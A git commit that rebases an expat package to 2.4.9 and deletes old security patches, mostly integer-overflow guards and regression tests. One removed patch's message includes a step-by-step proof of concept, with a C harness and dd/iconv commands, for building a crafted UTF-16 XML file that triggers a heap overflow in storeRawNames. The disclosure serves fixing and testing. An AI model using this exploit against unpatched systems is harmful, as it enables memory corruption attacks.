Rebase to version 2.4.9

Resolves: CVE-2022-40674
This commit is contained in:
Tomas Korbar 2022-09-29 16:43:56 +02:00
parent 0947457fd1
commit 368d60e123
11 changed files with 7 additions and 1106 deletions

1
.gitignore vendored
View File

@ -19,3 +19,4 @@ expat-2.0.1.tar.gz
/expat-2.2.8.tar.gz
/expat-2.2.10.tar.gz
/expat-2.4.7.tar.gz
/expat-2.4.9.tar.gz

View File

@ -1,281 +0,0 @@
From ee2a5b50e7d1940ba8745715b62ceb9efd3a96da Mon Sep 17 00:00:00 2001
From: Sebastian Pipping <sebastian@pipping.org>
Date: Tue, 8 Feb 2022 17:37:14 +0100
Subject: [PATCH 1/5] lib: Drop unused macro UTF8_GET_NAMING
---
expat/lib/xmltok.c | 5 -----
1 file changed, 5 deletions(-)
diff --git a/lib/xmltok.c b/lib/xmltok.c
index a72200e8..3bddf125 100644
--- a/lib/xmltok.c
+++ b/lib/xmltok.c
@@ -98,11 +98,6 @@
+ ((((byte)[1]) & 3) << 1) + ((((byte)[2]) >> 5) & 1)] \
& (1u << (((byte)[2]) & 0x1F)))
-#define UTF8_GET_NAMING(pages, p, n) \
- ((n) == 2 \
- ? UTF8_GET_NAMING2(pages, (const unsigned char *)(p)) \
- : ((n) == 3 ? UTF8_GET_NAMING3(pages, (const unsigned char *)(p)) : 0))
-
/* Detection of invalid UTF-8 sequences is based on Table 3.1B
of Unicode 3.2: http://www.unicode.org/unicode/reports/tr28/
with the additional restriction of not allowing the Unicode
From 3f0a0cb644438d4d8e3294cd0b1245d0edb0c6c6 Mon Sep 17 00:00:00 2001
From: Sebastian Pipping <sebastian@pipping.org>
Date: Tue, 8 Feb 2022 04:32:20 +0100
Subject: [PATCH 2/5] lib: Add missing validation of encoding (CVE-2022-25235)
---
expat/lib/xmltok_impl.c | 8 ++++++--
1 file changed, 6 insertions(+), 2 deletions(-)
diff --git a/lib/xmltok_impl.c b/lib/xmltok_impl.c
index 0430591b..64a3b2c1 100644
--- a/lib/xmltok_impl.c
+++ b/lib/xmltok_impl.c
@@ -69,7 +69,7 @@
case BT_LEAD##n: \
if (end - ptr < n) \
return XML_TOK_PARTIAL_CHAR; \
- if (! IS_NAME_CHAR(enc, ptr, n)) { \
+ if (IS_INVALID_CHAR(enc, ptr, n) || ! IS_NAME_CHAR(enc, ptr, n)) { \
*nextTokPtr = ptr; \
return XML_TOK_INVALID; \
} \
@@ -98,7 +98,7 @@
case BT_LEAD##n: \
if (end - ptr < n) \
return XML_TOK_PARTIAL_CHAR; \
- if (! IS_NMSTRT_CHAR(enc, ptr, n)) { \
+ if (IS_INVALID_CHAR(enc, ptr, n) || ! IS_NMSTRT_CHAR(enc, ptr, n)) { \
*nextTokPtr = ptr; \
return XML_TOK_INVALID; \
} \
@@ -1142,6 +1142,10 @@ PREFIX(prologTok)(const ENCODING *enc, const char *ptr, const char *end,
case BT_LEAD##n: \
if (end - ptr < n) \
return XML_TOK_PARTIAL_CHAR; \
+ if (IS_INVALID_CHAR(enc, ptr, n)) { \
+ *nextTokPtr = ptr; \
+ return XML_TOK_INVALID; \
+ } \
if (IS_NMSTRT_CHAR(enc, ptr, n)) { \
ptr += n; \
tok = XML_TOK_NAME; \
From c85a3025e7a1be086dc34e7559fbc543914d047f Mon Sep 17 00:00:00 2001
From: Sebastian Pipping <sebastian@pipping.org>
Date: Wed, 9 Feb 2022 01:00:38 +0100
Subject: [PATCH 3/5] lib: Add comments to BT_LEAD* cases where encoding has
already been validated
---
expat/lib/xmltok_impl.c | 10 +++++-----
1 file changed, 5 insertions(+), 5 deletions(-)
diff --git a/lib/xmltok_impl.c b/lib/xmltok_impl.c
index 64a3b2c1..84ff35f9 100644
--- a/lib/xmltok_impl.c
+++ b/lib/xmltok_impl.c
@@ -1274,7 +1274,7 @@ PREFIX(attributeValueTok)(const ENCODING *enc, const char *ptr, const char *end,
switch (BYTE_TYPE(enc, ptr)) {
# define LEAD_CASE(n) \
case BT_LEAD##n: \
- ptr += n; \
+ ptr += n; /* NOTE: The encoding has already been validated. */ \
break;
LEAD_CASE(2)
LEAD_CASE(3)
@@ -1343,7 +1343,7 @@ PREFIX(entityValueTok)(const ENCODING *enc, const char *ptr, const char *end,
switch (BYTE_TYPE(enc, ptr)) {
# define LEAD_CASE(n) \
case BT_LEAD##n: \
- ptr += n; \
+ ptr += n; /* NOTE: The encoding has already been validated. */ \
break;
LEAD_CASE(2)
LEAD_CASE(3)
@@ -1522,7 +1522,7 @@ PREFIX(getAtts)(const ENCODING *enc, const char *ptr, int attsMax,
state = inName; \
}
# define LEAD_CASE(n) \
- case BT_LEAD##n: \
+ case BT_LEAD##n: /* NOTE: The encoding has already been validated. */ \
START_NAME ptr += (n - MINBPC(enc)); \
break;
LEAD_CASE(2)
@@ -1734,7 +1734,7 @@ PREFIX(nameLength)(const ENCODING *enc, const char *ptr) {
switch (BYTE_TYPE(enc, ptr)) {
# define LEAD_CASE(n) \
case BT_LEAD##n: \
- ptr += n; \
+ ptr += n; /* NOTE: The encoding has already been validated. */ \
break;
LEAD_CASE(2)
LEAD_CASE(3)
@@ -1779,7 +1779,7 @@ PREFIX(updatePosition)(const ENCODING *enc, const char *ptr, const char *end,
switch (BYTE_TYPE(enc, ptr)) {
# define LEAD_CASE(n) \
case BT_LEAD##n: \
- ptr += n; \
+ ptr += n; /* NOTE: The encoding has already been validated. */ \
pos->columnNumber++; \
break;
LEAD_CASE(2)
From 6a5510bc6b7efe743356296724e0b38300f05379 Mon Sep 17 00:00:00 2001
From: Sebastian Pipping <sebastian@pipping.org>
Date: Tue, 8 Feb 2022 04:06:21 +0100
Subject: [PATCH 4/5] tests: Cover missing validation of encoding
(CVE-2022-25235)
---
expat/tests/runtests.c | 109 +++++++++++++++++++++++++++++++++++++++++
1 file changed, 109 insertions(+)
diff --git a/tests/runtests.c b/tests/runtests.c
index bc5344b1..9b155b82 100644
--- a/tests/runtests.c
+++ b/tests/runtests.c
@@ -5998,6 +5998,105 @@ START_TEST(test_utf8_in_cdata_section_2) {
}
END_TEST
+START_TEST(test_utf8_in_start_tags) {
+ struct test_case {
+ bool goodName;
+ bool goodNameStart;
+ const char *tagName;
+ };
+
+ // The idea with the tests below is this:
+ // We want to cover 1-, 2- and 3-byte sequences, 4-byte sequences
+ // go to isNever and are hence not a concern.
+ //
+ // We start with a character that is a valid name character
+ // (or even name-start character, see XML 1.0r4 spec) and then we flip
+ // single bits at places where (1) the result leaves the UTF-8 encoding space
+ // and (2) we stay in the same n-byte sequence family.
+ //
+ // The flipped bits are highlighted in angle brackets in comments,
+ // e.g. "[<1>011 1001]" means we had [0011 1001] but we now flipped
+ // the most significant bit to 1 to leave UTF-8 encoding space.
+ struct test_case cases[] = {
+ // 1-byte UTF-8: [0xxx xxxx]
+ {true, true, "\x3A"}, // [0011 1010] = ASCII colon ':'
+ {false, false, "\xBA"}, // [<1>011 1010]
+ {true, false, "\x39"}, // [0011 1001] = ASCII nine '9'
+ {false, false, "\xB9"}, // [<1>011 1001]
+
+ // 2-byte UTF-8: [110x xxxx] [10xx xxxx]
+ {true, true, "\xDB\xA5"}, // [1101 1011] [1010 0101] =
+ // Arabic small waw U+06E5
+ {false, false, "\x9B\xA5"}, // [1<0>01 1011] [1010 0101]
+ {false, false, "\xDB\x25"}, // [1101 1011] [<0>010 0101]
+ {false, false, "\xDB\xE5"}, // [1101 1011] [1<1>10 0101]
+ {true, false, "\xCC\x81"}, // [1100 1100] [1000 0001] =
+ // combining char U+0301
+ {false, false, "\x8C\x81"}, // [1<0>00 1100] [1000 0001]
+ {false, false, "\xCC\x01"}, // [1100 1100] [<0>000 0001]
+ {false, false, "\xCC\xC1"}, // [1100 1100] [1<1>00 0001]
+
+ // 3-byte UTF-8: [1110 xxxx] [10xx xxxx] [10xxxxxx]
+ {true, true, "\xE0\xA4\x85"}, // [1110 0000] [1010 0100] [1000 0101] =
+ // Devanagari Letter A U+0905
+ {false, false, "\xA0\xA4\x85"}, // [1<0>10 0000] [1010 0100] [1000 0101]
+ {false, false, "\xE0\x24\x85"}, // [1110 0000] [<0>010 0100] [1000 0101]
+ {false, false, "\xE0\xE4\x85"}, // [1110 0000] [1<1>10 0100] [1000 0101]
+ {false, false, "\xE0\xA4\x05"}, // [1110 0000] [1010 0100] [<0>000 0101]
+ {false, false, "\xE0\xA4\xC5"}, // [1110 0000] [1010 0100] [1<1>00 0101]
+ {true, false, "\xE0\xA4\x81"}, // [1110 0000] [1010 0100] [1000 0001] =
+ // combining char U+0901
+ {false, false, "\xA0\xA4\x81"}, // [1<0>10 0000] [1010 0100] [1000 0001]
+ {false, false, "\xE0\x24\x81"}, // [1110 0000] [<0>010 0100] [1000 0001]
+ {false, false, "\xE0\xE4\x81"}, // [1110 0000] [1<1>10 0100] [1000 0001]
+ {false, false, "\xE0\xA4\x01"}, // [1110 0000] [1010 0100] [<0>000 0001]
+ {false, false, "\xE0\xA4\xC1"}, // [1110 0000] [1010 0100] [1<1>00 0001]
+ };
+ const bool atNameStart[] = {true, false};
+
+ size_t i = 0;
+ char doc[1024];
+ size_t failCount = 0;
+
+ for (; i < sizeof(cases) / sizeof(cases[0]); i++) {
+ size_t j = 0;
+ for (; j < sizeof(atNameStart) / sizeof(atNameStart[0]); j++) {
+ const bool expectedSuccess
+ = atNameStart[j] ? cases[i].goodNameStart : cases[i].goodName;
+ sprintf(doc, "<%s%s><!--", atNameStart[j] ? "" : "a", cases[i].tagName);
+ XML_Parser parser = XML_ParserCreate(NULL);
+
+ const enum XML_Status status
+ = XML_Parse(parser, doc, (int)strlen(doc), /*isFinal=*/XML_FALSE);
+
+ bool success = true;
+ if ((status == XML_STATUS_OK) != expectedSuccess) {
+ success = false;
+ }
+ if ((status == XML_STATUS_ERROR)
+ && (XML_GetErrorCode(parser) != XML_ERROR_INVALID_TOKEN)) {
+ success = false;
+ }
+
+ if (! success) {
+ fprintf(
+ stderr,
+ "FAIL case %2u (%sat name start, %u-byte sequence, error code %d)\n",
+ (unsigned)i + 1u, atNameStart[j] ? " " : "not ",
+ (unsigned)strlen(cases[i].tagName), XML_GetErrorCode(parser));
+ failCount++;
+ }
+
+ XML_ParserFree(parser);
+ }
+ }
+
+ if (failCount > 0) {
+ fail("UTF-8 regression detected");
+ }
+}
+END_TEST
+
/* Test trailing spaces in elements are accepted */
static void XMLCALL
record_element_end_handler(void *userData, const XML_Char *name) {
@@ -6175,6 +6274,14 @@ START_TEST(test_bad_doctype) {
}
END_TEST
+START_TEST(test_bad_doctype_utf8) {
+ const char *text = "<!DOCTYPE \xDB\x25"
+ "doc><doc/>"; // [1101 1011] [<0>010 0101]
+ expect_failure(text, XML_ERROR_INVALID_TOKEN,
+ "Invalid UTF-8 in DOCTYPE not faulted");
+}
+END_TEST
+
START_TEST(test_bad_doctype_utf16) {
const char text[] =
/* <!DOCTYPE doc [ \x06f2 ]><doc/>
@@ -11870,6 +11977,7 @@ make_suite(void) {
tcase_add_test(tc_basic, test_ext_entity_utf8_non_bom);
tcase_add_test(tc_basic, test_utf8_in_cdata_section);
tcase_add_test(tc_basic, test_utf8_in_cdata_section_2);
+ tcase_add_test(tc_basic, test_utf8_in_start_tags);
tcase_add_test(tc_basic, test_trailing_spaces_in_elements);
tcase_add_test(tc_basic, test_utf16_attribute);
tcase_add_test(tc_basic, test_utf16_second_attr);
@@ -11878,6 +11986,7 @@ make_suite(void) {
tcase_add_test(tc_basic, test_bad_attr_desc_keyword);
tcase_add_test(tc_basic, test_bad_attr_desc_keyword_utf16);
tcase_add_test(tc_basic, test_bad_doctype);
+ tcase_add_test(tc_basic, test_bad_doctype_utf8);
tcase_add_test(tc_basic, test_bad_doctype_utf16);
tcase_add_test(tc_basic, test_bad_doctype_plus);
tcase_add_test(tc_basic, test_bad_doctype_star);

View File

@ -1,62 +0,0 @@
diff --git a/lib/xmlparse.c b/lib/xmlparse.c
index d54af683..5ce31402 100644
--- a/lib/xmlparse.c
+++ b/lib/xmlparse.c
@@ -2067,6 +2067,11 @@ XML_GetBuffer(XML_Parser parser, int len) {
keep = (int)EXPAT_SAFE_PTR_DIFF(parser->m_bufferPtr, parser->m_buffer);
if (keep > XML_CONTEXT_BYTES)
keep = XML_CONTEXT_BYTES;
+ /* Detect and prevent integer overflow */
+ if (keep > INT_MAX - neededSize) {
+ parser->m_errorCode = XML_ERROR_NO_MEMORY;
+ return NULL;
+ }
neededSize += keep;
#endif /* defined XML_CONTEXT_BYTES */
if (neededSize
diff --git a/tests/runtests.c b/tests/runtests.c
index e89e8220..579dad1a 100644
--- a/tests/runtests.c
+++ b/tests/runtests.c
@@ -3847,6 +3847,30 @@ START_TEST(test_get_buffer_2) {
}
END_TEST
+/* Test for signed integer overflow CVE-2022-23852 */
+#if defined(XML_CONTEXT_BYTES)
+START_TEST(test_get_buffer_3_overflow) {
+ XML_Parser parser = XML_ParserCreate(NULL);
+ assert(parser != NULL);
+
+ const char *const text = "\n";
+ const int expectedKeepValue = (int)strlen(text);
+
+ // After this call, variable "keep" in XML_GetBuffer will
+ // have value expectedKeepValue
+ if (XML_Parse(parser, text, (int)strlen(text), XML_FALSE /* isFinal */)
+ == XML_STATUS_ERROR)
+ xml_failure(parser);
+
+ assert(expectedKeepValue > 0);
+ if (XML_GetBuffer(parser, INT_MAX - expectedKeepValue + 1) != NULL)
+ fail("enlarging buffer not failed");
+
+ XML_ParserFree(parser);
+}
+END_TEST
+#endif // defined(XML_CONTEXT_BYTES)
+
/* Test position information macros */
START_TEST(test_byte_info_at_end) {
const char *text = "<doc></doc>";
@@ -11731,6 +11755,9 @@ make_suite(void) {
tcase_add_test(tc_basic, test_empty_parse);
tcase_add_test(tc_basic, test_get_buffer_1);
tcase_add_test(tc_basic, test_get_buffer_2);
+#if defined(XML_CONTEXT_BYTES)
+ tcase_add_test(tc_basic, test_get_buffer_3_overflow);
+#endif
tcase_add_test(tc_basic, test_byte_info_at_end);
tcase_add_test(tc_basic, test_byte_info_at_error);
tcase_add_test(tc_basic, test_byte_info_at_cdata);

View File

@ -1,59 +0,0 @@
From 0adcb34c49bee5b19bd29b16a578c510c23597ea Mon Sep 17 00:00:00 2001
From: Sebastian Pipping <sebastian@pipping.org>
Date: Mon, 27 Dec 2021 20:15:02 +0100
Subject: [PATCH] lib: Detect and prevent troublesome left shifts in function
storeAtts (CVE-2021-45960)
---
expat/lib/xmlparse.c | 31 +++++++++++++++++++++++++++++--
1 file changed, 29 insertions(+), 2 deletions(-)
diff --git a/lib/xmlparse.c b/lib/xmlparse.c
index d730f41c3..b47c31b05 100644
--- a/lib/xmlparse.c
+++ b/lib/xmlparse.c
@@ -3414,7 +3414,13 @@ storeAtts(XML_Parser parser, const ENCODING *enc, const char *attStr,
if (nPrefixes) {
int j; /* hash table index */
unsigned long version = parser->m_nsAttsVersion;
- int nsAttsSize = (int)1 << parser->m_nsAttsPower;
+
+ /* Detect and prevent invalid shift */
+ if (parser->m_nsAttsPower >= sizeof(unsigned int) * 8 /* bits per byte */) {
+ return XML_ERROR_NO_MEMORY;
+ }
+
+ unsigned int nsAttsSize = 1u << parser->m_nsAttsPower;
unsigned char oldNsAttsPower = parser->m_nsAttsPower;
/* size of hash table must be at least 2 * (# of prefixed attributes) */
if ((nPrefixes << 1)
@@ -3425,7 +3431,28 @@ storeAtts(XML_Parser parser, const ENCODING *enc, const char *attStr,
;
if (parser->m_nsAttsPower < 3)
parser->m_nsAttsPower = 3;
- nsAttsSize = (int)1 << parser->m_nsAttsPower;
+
+ /* Detect and prevent invalid shift */
+ if (parser->m_nsAttsPower >= sizeof(nsAttsSize) * 8 /* bits per byte */) {
+ /* Restore actual size of memory in m_nsAtts */
+ parser->m_nsAttsPower = oldNsAttsPower;
+ return XML_ERROR_NO_MEMORY;
+ }
+
+ nsAttsSize = 1u << parser->m_nsAttsPower;
+
+ /* Detect and prevent integer overflow.
+ * The preprocessor guard addresses the "always false" warning
+ * from -Wtype-limits on platforms where
+ * sizeof(unsigned int) < sizeof(size_t), e.g. on x86_64. */
+#if UINT_MAX >= SIZE_MAX
+ if (nsAttsSize > (size_t)(-1) / sizeof(NS_ATT)) {
+ /* Restore actual size of memory in m_nsAtts */
+ parser->m_nsAttsPower = oldNsAttsPower;
+ return XML_ERROR_NO_MEMORY;
+ }
+#endif
+
temp = (NS_ATT *)REALLOC(parser, parser->m_nsAtts,
nsAttsSize * sizeof(NS_ATT));
if (! temp) {

View File

@ -1,139 +0,0 @@
From eb0362808b4f9f1e2345a0cf203b8cc196d776d9 Mon Sep 17 00:00:00 2001
From: Samanta Navarro <ferivoz@riseup.net>
Date: Tue, 15 Feb 2022 11:55:46 +0000
Subject: [PATCH] Prevent integer overflow in storeRawNames
It is possible to use an integer overflow in storeRawNames for out of
boundary heap writes. Default configuration is affected. If compiled
with XML_UNICODE then the attack does not work. Compiling with
-fsanitize=address confirms the following proof of concept.
The problem can be exploited by abusing the m_buffer expansion logic.
Even though the initial size of m_buffer is a power of two, eventually
it can end up a little bit lower, thus allowing allocations very close
to INT_MAX (since INT_MAX/2 can be surpassed). This means that tag
names can be parsed which are almost INT_MAX in size.
Unfortunately (from an attacker point of view) INT_MAX/2 is also a
limitation in string pools. Having a tag name of INT_MAX/2 characters
or more is not possible.
Expat can convert between different encodings. UTF-16 documents which
contain only ASCII representable characters are twice as large as their
ASCII encoded counter-parts.
The proof of concept works by taking these three considerations into
account:
1. Move the m_buffer size slightly below a power of two by having a
short root node <a>. This allows the m_buffer to grow very close
to INT_MAX.
2. The string pooling forbids tag names longer than or equal to
INT_MAX/2, so keep the attack tag name smaller than that.
3. To be able to still overflow INT_MAX even though the name is
limited at INT_MAX/2-1 (nul byte) we use UTF-16 encoding and a tag
which only contains ASCII characters. UTF-16 always stores two
bytes per character while the tag name is converted to using only
one. Our attack node byte count must be a bit higher than
2/3 INT_MAX so the converted tag name is around INT_MAX/3 which
in sum can overflow INT_MAX.
Thanks to our small root node, m_buffer can handle 2/3 INT_MAX bytes
without running into INT_MAX boundary check. The string pooling is
able to store INT_MAX/3 as tag name because the amount is below
INT_MAX/2 limitation. And creating the sum of both eventually overflows
in storeRawNames.
Proof of Concept:
1. Compile expat with -fsanitize=address.
2. Create Proof of Concept binary which iterates through input
file 16 MB at once for better performance and easier integer
calculations:
```
cat > poc.c << EOF
#include <err.h>
#include <expat.h>
#include <stdlib.h>
#include <stdio.h>
#define CHUNK (16 * 1024 * 1024)
int main(int argc, char *argv[]) {
XML_Parser parser;
FILE *fp;
char *buf;
int i;
if (argc != 2)
errx(1, "usage: poc file.xml");
if ((parser = XML_ParserCreate(NULL)) == NULL)
errx(1, "failed to create expat parser");
if ((fp = fopen(argv[1], "r")) == NULL) {
XML_ParserFree(parser);
err(1, "failed to open file");
}
if ((buf = malloc(CHUNK)) == NULL) {
fclose(fp);
XML_ParserFree(parser);
err(1, "failed to allocate buffer");
}
i = 0;
while (fread(buf, CHUNK, 1, fp) == 1) {
printf("iteration %d: XML_Parse returns %d\n", ++i,
XML_Parse(parser, buf, CHUNK, XML_FALSE));
}
free(buf);
fclose(fp);
XML_ParserFree(parser);
return 0;
}
EOF
gcc -fsanitize=address -lexpat -o poc poc.c
```
3. Construct specially prepared UTF-16 XML file:
```
dd if=/dev/zero bs=1024 count=794624 | tr '\0' 'a' > poc-utf8.xml
echo -n '<a><' | dd conv=notrunc of=poc-utf8.xml
echo -n '><' | dd conv=notrunc of=poc-utf8.xml bs=1 seek=805306368
iconv -f UTF-8 -t UTF-16LE poc-utf8.xml > poc-utf16.xml
```
4. Run proof of concept:
```
./poc poc-utf16.xml
```
---
expat/lib/xmlparse.c | 7 ++++++-
1 file changed, 6 insertions(+), 1 deletion(-)
diff --git a/lib/xmlparse.c b/lib/xmlparse.c
index 4b43e613..f34d6ab5 100644
--- a/lib/xmlparse.c
+++ b/lib/xmlparse.c
@@ -2563,6 +2563,7 @@ storeRawNames(XML_Parser parser) {
while (tag) {
int bufSize;
int nameLen = sizeof(XML_Char) * (tag->name.strLen + 1);
+ size_t rawNameLen;
char *rawNameBuf = tag->buf + nameLen;
/* Stop if already stored. Since m_tagStack is a stack, we can stop
at the first entry that has already been copied; everything
@@ -2574,7 +2575,11 @@ storeRawNames(XML_Parser parser) {
/* For re-use purposes we need to ensure that the
size of tag->buf is a multiple of sizeof(XML_Char).
*/
- bufSize = nameLen + ROUND_UP(tag->rawNameLength, sizeof(XML_Char));
+ rawNameLen = ROUND_UP(tag->rawNameLength, sizeof(XML_Char));
+ /* Detect and prevent integer overflow. */
+ if (rawNameLen > (size_t)INT_MAX - nameLen)
+ return XML_FALSE;
+ bufSize = nameLen + (int)rawNameLen;
if (bufSize > tag->bufEnd - tag->buf) {
char *temp = (char *)REALLOC(parser, tag->buf, bufSize);
if (temp == NULL)

View File

@ -1,43 +0,0 @@
From 85ae9a2d7d0e9358f356b33977b842df8ebaec2b Mon Sep 17 00:00:00 2001
From: Sebastian Pipping <sebastian@pipping.org>
Date: Sat, 25 Dec 2021 20:52:08 +0100
Subject: [PATCH] lib: Prevent integer overflow on m_groupSize in function
doProlog (CVE-2021-46143)
---
expat/lib/xmlparse.c | 15 +++++++++++++++
1 file changed, 15 insertions(+)
diff --git a/lib/xmlparse.c b/lib/xmlparse.c
index b47c31b0..8f243126 100644
--- a/lib/xmlparse.c
+++ b/lib/xmlparse.c
@@ -5046,6 +5046,11 @@ doProlog(XML_Parser parser, const ENCODING *enc, const char *s, const char *end,
if (parser->m_prologState.level >= parser->m_groupSize) {
if (parser->m_groupSize) {
{
+ /* Detect and prevent integer overflow */
+ if (parser->m_groupSize > (unsigned int)(-1) / 2u) {
+ return XML_ERROR_NO_MEMORY;
+ }
+
char *const new_connector = (char *)REALLOC(
parser, parser->m_groupConnector, parser->m_groupSize *= 2);
if (new_connector == NULL) {
@@ -5056,6 +5061,16 @@ doProlog(XML_Parser parser, const ENCODING *enc, const char *s, const char *end,
}
if (dtd->scaffIndex) {
+ /* Detect and prevent integer overflow.
+ * The preprocessor guard addresses the "always false" warning
+ * from -Wtype-limits on platforms where
+ * sizeof(unsigned int) < sizeof(size_t), e.g. on x86_64. */
+#if UINT_MAX >= SIZE_MAX
+ if (parser->m_groupSize > (size_t)(-1) / sizeof(int)) {
+ return XML_ERROR_NO_MEMORY;
+ }
+#endif
+
int *const new_scaff_index = (int *)REALLOC(
parser, dtd->scaffIndex, parser->m_groupSize * sizeof(int));
if (new_scaff_index == NULL)

View File

@ -1,250 +0,0 @@
From 9f93e8036e842329863bf20395b8fb8f73834d9e Mon Sep 17 00:00:00 2001
From: Sebastian Pipping <sebastian@pipping.org>
Date: Thu, 30 Dec 2021 22:46:03 +0100
Subject: [PATCH] lib: Prevent integer overflow at multiple places
(CVE-2022-22822 to CVE-2022-22827)
The involved functions are:
- addBinding (CVE-2022-22822)
- build_model (CVE-2022-22823)
- defineAttribute (CVE-2022-22824)
- lookup (CVE-2022-22825)
- nextScaffoldPart (CVE-2022-22826)
- storeAtts (CVE-2022-22827)
---
expat/lib/xmlparse.c | 153 ++++++++++++++++++++++++++++++++++++++++++-
1 file changed, 151 insertions(+), 2 deletions(-)
diff --git a/lib/xmlparse.c b/lib/xmlparse.c
index 8f243126..575e73ee 100644
--- a/lib/xmlparse.c
+++ b/lib/xmlparse.c
@@ -3261,13 +3261,38 @@ storeAtts(XML_Parser parser, const ENCODING *enc, const char *attStr,
/* get the attributes from the tokenizer */
n = XmlGetAttributes(enc, attStr, parser->m_attsSize, parser->m_atts);
+
+ /* Detect and prevent integer overflow */
+ if (n > INT_MAX - nDefaultAtts) {
+ return XML_ERROR_NO_MEMORY;
+ }
+
if (n + nDefaultAtts > parser->m_attsSize) {
int oldAttsSize = parser->m_attsSize;
ATTRIBUTE *temp;
#ifdef XML_ATTR_INFO
XML_AttrInfo *temp2;
#endif
+
+ /* Detect and prevent integer overflow */
+ if ((nDefaultAtts > INT_MAX - INIT_ATTS_SIZE)
+ || (n > INT_MAX - (nDefaultAtts + INIT_ATTS_SIZE))) {
+ return XML_ERROR_NO_MEMORY;
+ }
+
parser->m_attsSize = n + nDefaultAtts + INIT_ATTS_SIZE;
+
+ /* Detect and prevent integer overflow.
+ * The preprocessor guard addresses the "always false" warning
+ * from -Wtype-limits on platforms where
+ * sizeof(unsigned int) < sizeof(size_t), e.g. on x86_64. */
+#if UINT_MAX >= SIZE_MAX
+ if ((unsigned)parser->m_attsSize > (size_t)(-1) / sizeof(ATTRIBUTE)) {
+ parser->m_attsSize = oldAttsSize;
+ return XML_ERROR_NO_MEMORY;
+ }
+#endif
+
temp = (ATTRIBUTE *)REALLOC(parser, (void *)parser->m_atts,
parser->m_attsSize * sizeof(ATTRIBUTE));
if (temp == NULL) {
@@ -3276,6 +3301,17 @@ storeAtts(XML_Parser parser, const ENCODING *enc, const char *attStr,
}
parser->m_atts = temp;
#ifdef XML_ATTR_INFO
+ /* Detect and prevent integer overflow.
+ * The preprocessor guard addresses the "always false" warning
+ * from -Wtype-limits on platforms where
+ * sizeof(unsigned int) < sizeof(size_t), e.g. on x86_64. */
+# if UINT_MAX >= SIZE_MAX
+ if ((unsigned)parser->m_attsSize > (size_t)(-1) / sizeof(XML_AttrInfo)) {
+ parser->m_attsSize = oldAttsSize;
+ return XML_ERROR_NO_MEMORY;
+ }
+# endif
+
temp2 = (XML_AttrInfo *)REALLOC(parser, (void *)parser->m_attInfo,
parser->m_attsSize * sizeof(XML_AttrInfo));
if (temp2 == NULL) {
@@ -3610,9 +3646,31 @@ storeAtts(XML_Parser parser, const ENCODING *enc, const char *attStr,
tagNamePtr->prefixLen = prefixLen;
for (i = 0; localPart[i++];)
; /* i includes null terminator */
+
+ /* Detect and prevent integer overflow */
+ if (binding->uriLen > INT_MAX - prefixLen
+ || i > INT_MAX - (binding->uriLen + prefixLen)) {
+ return XML_ERROR_NO_MEMORY;
+ }
+
n = i + binding->uriLen + prefixLen;
if (n > binding->uriAlloc) {
TAG *p;
+
+ /* Detect and prevent integer overflow */
+ if (n > INT_MAX - EXPAND_SPARE) {
+ return XML_ERROR_NO_MEMORY;
+ }
+ /* Detect and prevent integer overflow.
+ * The preprocessor guard addresses the "always false" warning
+ * from -Wtype-limits on platforms where
+ * sizeof(unsigned int) < sizeof(size_t), e.g. on x86_64. */
+#if UINT_MAX >= SIZE_MAX
+ if ((unsigned)(n + EXPAND_SPARE) > (size_t)(-1) / sizeof(XML_Char)) {
+ return XML_ERROR_NO_MEMORY;
+ }
+#endif
+
uri = (XML_Char *)MALLOC(parser, (n + EXPAND_SPARE) * sizeof(XML_Char));
if (! uri)
return XML_ERROR_NO_MEMORY;
@@ -3708,6 +3766,21 @@ addBinding(XML_Parser parser, PREFIX *prefix, const ATTRIBUTE_ID *attId,
if (parser->m_freeBindingList) {
b = parser->m_freeBindingList;
if (len > b->uriAlloc) {
+ /* Detect and prevent integer overflow */
+ if (len > INT_MAX - EXPAND_SPARE) {
+ return XML_ERROR_NO_MEMORY;
+ }
+
+ /* Detect and prevent integer overflow.
+ * The preprocessor guard addresses the "always false" warning
+ * from -Wtype-limits on platforms where
+ * sizeof(unsigned int) < sizeof(size_t), e.g. on x86_64. */
+#if UINT_MAX >= SIZE_MAX
+ if ((unsigned)(len + EXPAND_SPARE) > (size_t)(-1) / sizeof(XML_Char)) {
+ return XML_ERROR_NO_MEMORY;
+ }
+#endif
+
XML_Char *temp = (XML_Char *)REALLOC(
parser, b->uri, sizeof(XML_Char) * (len + EXPAND_SPARE));
if (temp == NULL)
@@ -3720,6 +3793,21 @@ addBinding(XML_Parser parser, PREFIX *prefix, const ATTRIBUTE_ID *attId,
b = (BINDING *)MALLOC(parser, sizeof(BINDING));
if (! b)
return XML_ERROR_NO_MEMORY;
+
+ /* Detect and prevent integer overflow */
+ if (len > INT_MAX - EXPAND_SPARE) {
+ return XML_ERROR_NO_MEMORY;
+ }
+ /* Detect and prevent integer overflow.
+ * The preprocessor guard addresses the "always false" warning
+ * from -Wtype-limits on platforms where
+ * sizeof(unsigned int) < sizeof(size_t), e.g. on x86_64. */
+#if UINT_MAX >= SIZE_MAX
+ if ((unsigned)(len + EXPAND_SPARE) > (size_t)(-1) / sizeof(XML_Char)) {
+ return XML_ERROR_NO_MEMORY;
+ }
+#endif
+
b->uri
= (XML_Char *)MALLOC(parser, sizeof(XML_Char) * (len + EXPAND_SPARE));
if (! b->uri) {
@@ -6141,7 +6229,24 @@ defineAttribute(ELEMENT_TYPE *type, ATTRIBUTE_ID *attId, XML_Bool isCdata,
}
} else {
DEFAULT_ATTRIBUTE *temp;
+
+ /* Detect and prevent integer overflow */
+ if (type->allocDefaultAtts > INT_MAX / 2) {
+ return 0;
+ }
+
int count = type->allocDefaultAtts * 2;
+
+ /* Detect and prevent integer overflow.
+ * The preprocessor guard addresses the "always false" warning
+ * from -Wtype-limits on platforms where
+ * sizeof(unsigned int) < sizeof(size_t), e.g. on x86_64. */
+#if UINT_MAX >= SIZE_MAX
+ if ((unsigned)count > (size_t)(-1) / sizeof(DEFAULT_ATTRIBUTE)) {
+ return 0;
+ }
+#endif
+
temp = (DEFAULT_ATTRIBUTE *)REALLOC(parser, type->defaultAtts,
(count * sizeof(DEFAULT_ATTRIBUTE)));
if (temp == NULL)
@@ -6792,8 +6897,20 @@ lookup(XML_Parser parser, HASH_TABLE *table, KEY name, size_t createSize) {
/* check for overflow (table is half full) */
if (table->used >> (table->power - 1)) {
unsigned char newPower = table->power + 1;
+
+ /* Detect and prevent invalid shift */
+ if (newPower >= sizeof(unsigned long) * 8 /* bits per byte */) {
+ return NULL;
+ }
+
size_t newSize = (size_t)1 << newPower;
unsigned long newMask = (unsigned long)newSize - 1;
+
+ /* Detect and prevent integer overflow */
